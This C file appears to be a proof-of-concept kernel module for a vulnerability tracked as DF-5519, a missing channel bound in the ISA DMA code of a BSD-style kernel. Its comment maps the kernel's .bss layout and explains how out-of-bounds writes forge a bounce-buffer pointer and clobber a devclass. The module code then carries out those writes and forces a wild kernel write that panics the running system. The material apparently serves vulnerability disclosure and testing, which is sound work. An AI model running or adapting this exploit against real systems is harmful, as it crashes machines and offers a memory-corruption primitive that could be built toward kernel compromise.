DF-5519 / df5519_panic.c
/* * DF-5519 PoC part 2 (fatal) — sys/bus/isa/x86_64/isa_dma.c * * Demonstrates the memory-corruption consequence of the missing channel * bound on the RUNNING production kernel: * * .bss layout (nm /boot/kernel/kernel): * 0xffffffff819fb260 dma_bouncebufsize (u_int[8]) * 0xffffffff819fb280 dma_bouncebuf (caddr_t[8]) * 0xffffffff819fb2c0 ram_devclass (devclass_t!) * 0xffffffff819fb2c8 nexus_devclass (devclass_t!) * * 1. isa_dma_init(0, 1024) -> dma_bouncebuf[0] = <valid heap ptr>, * dma_bouncebufsize[0] = 1024 * 2. isa_dma_init(8, 0x1000) -> OOB write dma_bouncebufsize[8] lands * at &dma_bouncebuf[0]+0: low 32 bits of * channel 0's bounce pointer := 0x1000 * (forged pointer). The companion OOB * write dma_bouncebuf[8] lands exactly on * ram_devclass (type confusion). * 3. isa_dmastart(WRITE, hibuf, 256, 0): buffer is above 16MB phys -> * bounce path -> bcopy(hibuf, FORGED dma_bouncebuf[0], 256) * -> wild kernel write -> page fault -> panic. * * Expected: kernel panic "Fatal page fault ... in isa_dmastart/bcopy" */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/bus.h> #include <bus/isa/isavar.h> static int df5519p_modevent(module_t mod, int type, void *arg) { void *hibuf; int rc; switch (type) { case MOD_LOAD: rc = isa_dma_acquire(0); kprintf("df5519p: isa_dma_acquire(0) = %d\n", rc); rc = isa_dma_init(0, 1024, M_WAITOK); kprintf("df5519p: isa_dma_init(0,1024) = %d (dma_bouncebuf[0] = valid ptr, size=1024)\n", rc); if (rc) return (0); rc = isa_dma_init(8, 0x1000, M_WAITOK); kprintf("df5519p: isa_dma_init(8,0x1000) = %d\n", rc); kprintf("df5519p: OOB write #1: dma_bouncebufsize[8] -> &dma_bouncebuf[0] low32 := 0x1000 (forged)\n"); kprintf("df5519p: OOB write #2: dma_bouncebuf[8] -> &ram_devclass (devclass_t clobbered)\n"); if (rc) return (0); hibuf = kmalloc(4096, M_DEVBUF, M_WAITOK); memset(hibuf, 0x41, 4096); kprintf("df5519p: isa_dmastart(WRITE, hibuf, 256, chan=0): bounce path bcopy()s 256 bytes to the FORGED pointer -- expect page fault panic\n"); isa_dmastart(ISADMA_WRITE, hibuf, 256, 0); kprintf("df5519p: NOT REACHED (kernel should have panicked)\n"); return (0); default: return (0); } } static moduledata_t df5519p_mod = { "df5519p", df5519p_modevent, NULL }; DECLARE_MODULE(df5519p, df5519p_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |